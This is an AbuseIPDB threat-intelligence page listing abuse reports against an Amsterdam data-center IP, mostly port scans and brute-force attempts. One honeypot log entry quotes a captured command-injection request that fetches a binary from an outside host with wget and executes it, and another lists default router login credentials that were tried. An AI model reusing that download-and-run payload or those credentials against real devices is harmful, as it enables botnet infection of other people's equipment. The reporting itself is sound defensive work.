JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 206.223.236.131

206.223.236.131 was found in our database!

This IP was reported 245 times. Confidence of Abuse is 100%: ?

100%

ISP	Latitude.sh
Usage Type	Data Center/Web Hosting/Transit
ASN	AS262287
Domain Name	latitude.sh
Country	🇳🇱 Netherlands
City	Amsterdam, North Holland

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 206.223.236.131

Whois 206.223.236.131

IP Abuse Reports for 206.223.236.131:

This IP address has been reported a total of 245 times from 109 distinct sources. 206.223.236.131 was first reported on June 28th 2026, and the most recent report was 15 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇷 Peregrine	2026-07-01 03:09:59 (15 hours ago)	Fail2Ban Jail: tomcat-honeypot \| Evidence: - 206.223.236.131 - - [28/Jun/2026:21:05:52 -0300] "POST ... show more Fail2Ban Jail: tomcat-honeypot \| Evidence: - 206.223.236.131 - - [28/Jun/2026:21:05:52 -0300] "POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3B%20rm%20data_arm7%3B%20wget%20http%3A%2F%2F5.175.223.249%2Fdata_arm7%3B%20chmod%20777%20data_arm7%3B%20.%2Fdata_arm7 HTTP/1.1" 404 414 show less	Bad Web Bot
🇸🇪 adaml1324	2026-06-30 17:47:38 (1 day ago)	TCP port scan detected From server logs: 2026-06-29 06:18:08 TCP port 6036	Port Scan
🇹🇼 tyetriiix	2026-06-30 08:16:57 (1 day ago)	Wazuh Alert Evidence: 206.223.236.131 - - [30/Jun/2026:08:16:54 +0000] "POST /goform/formJsonAjaxReq ... show more Wazuh Alert Evidence: 206.223.236.131 - - [30/Jun/2026:08:16:54 +0000] "POST /goform/formJsonAjaxReq HTTP/1.1" 404 146 "http://59.120.34.133:80/home.asp" "Mozilla/5.0" "-" Origin: "-" CORS_Header: "-" Sent_allow_origin: "-" show less	Web App Attack
🇩🇪 xserverx.ru	2026-06-30 08:15:08 (1 day ago)	[UFW SCAN!!!!] SRC=206.223.236.131 LEN=40 TOS=0x00 PREC=0x20 TTL=245 PROTO=TCP SPT=47620 DPT=80 WIND ... show more [UFW SCAN!!!!] SRC=206.223.236.131 LEN=40 TOS=0x00 PREC=0x20 TTL=245 PROTO=TCP SPT=47620 DPT=80 WINDOW=65535 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇩🇰 swrlly	2026-06-30 08:14:35 (1 day ago)	1 unauthorized webserver connection	Web App Attack
🇩🇪 phil2k	2026-06-30 06:23:12 (1 day ago)	Firewall: Within 2026-06-28 22:08:40 - 2026-06-29 06:27:27 CEST(+0200) identified: unallowed access ... show more Firewall: Within 2026-06-28 22:08:40 - 2026-06-29 06:27:27 CEST(+0200) identified: unallowed access from 206.223.236.131 on uncommon port/s: 6036(tcp:6036),56575(tcp:56575) (2 trials) Fail2ban: Within 2026-06-28 22:08:40 - 2026-06-29 06:27:27 CEST(+0200) banned: 13 times by fail2ban[firewall]; 13 times by fail2ban[recidive] show less	Port Scan Brute-Force
Anonymous	2026-06-30 05:16:23 (1 day ago)	<jail> banned by fail2ban	Brute-Force Web App Attack
🇺🇸 SSP	2026-06-30 03:55:17 (1 day ago)	Automatically generated from firewall_v2 logs on Server_ID: MIAPX1 Category: Port Scan Occurrences ... show more Automatically generated from firewall_v2 logs on Server_ID: MIAPX1 Category: Port Scan Occurrences: 38 Unique Ports: 4 Destination Ports: 56575, 6036, 17000, 17001 First Seen: 2026-06-29 03:50 UTC Last Seen: 2026-06-29 17:35 UTC show less	Port Scan
🇰🇷 2048	2026-06-30 03:26:18 (1 day ago)	Telnet credential brute-force observed by honeypot. \| Source IP: 206.223.236.131 \| Targeted device: ... show more Telnet credential brute-force observed by honeypot. \| Source IP: 206.223.236.131 \| Targeted device: OpenWrt router \| First seen: 30 Jun 2026 03:26:15 UTC \| Last seen: 30 Jun 2026 03:26:18 UTC \| Attempts: 3 \| Sample credentials: Admin:, Admin:Admin, CUAdmin:CUAdmin show less	Brute-Force IoT Targeted
🇨🇦 Arpan Sen	2026-06-30 03:06:52 (1 day ago)	Network port/address scan: probed 1 distinct port(s) across 35 host(s); 90% of connections received ... show more Network port/address scan: probed 1 distinct port(s) across 35 host(s); 90% of connections received no service (SYN, no reply) -- passive network sensor. show less	Port Scan
🇧🇷 SSP	2026-06-30 02:05:17 (1 day ago)	Automatically generated from firewall_v2 logs on Server_ID: SPPX01 Category: Port Scan Occurrences ... show more Automatically generated from firewall_v2 logs on Server_ID: SPPX01 Category: Port Scan Occurrences: 63 Unique Ports: 4 Destination Ports: 56575, 6036, 17000, 17001 First Seen: 2026-06-29 02:00 UTC Last Seen: 2026-06-29 17:30 UTC show less	Port Scan
🇦🇷 Bruno	2026-06-29 20:37:38 (1 day ago)	Port Scanner: 206.223.236.131	Port Scan
🇨🇦 polycoda	2026-06-29 19:31:41 (1 day ago)	AutoBlock: 📡 Port Scan (Non Decay-Based)	Port Scan
🇺🇸 xmission.com	2026-06-29 17:22:10 (2 days ago)	Blocked by UFW (TCP on 17001) Source port: 40865 TTL: 241 Packet length: 40 TOS: 0x00 This report ( ... show more Blocked by UFW (TCP on 17001) Source port: 40865 TTL: 241 Packet length: 40 TOS: 0x00 This report (for 206.223.236.131) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇵🇷 UI	2026-06-29 17:06:00 (2 days ago)	Port Scan Attack proto:TCP dst:1700.	Port Scan Spoofing

Showing 1 to 15 of 245 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇹🇼 211.75.3.37

🇨🇦 209.50.179.215

🇩🇪 194.88.98.109

🇩🇪 167.94.146.42

🇺🇸 129.153.145.135

🇨🇳 122.13.25.186

🇺🇸 97.140.126.152

🇧🇬 78.128.114.102

🇺🇸 18.97.26.66

🇰🇷 220.123.222.114

🇺🇸 184.105.247.195

🇳🇱 178.255.49.191

🇧🇩 103.102.207.148

🇺🇸 72.212.176.37

🇯🇵 20.89.19.185

🇺🇸 5.161.195.145

🇺🇸 2607:f8b0:4001:c12::125

🇬🇧 193.32.209.251

🇧🇷 191.5.179.167

🇮🇳 117.200.95.242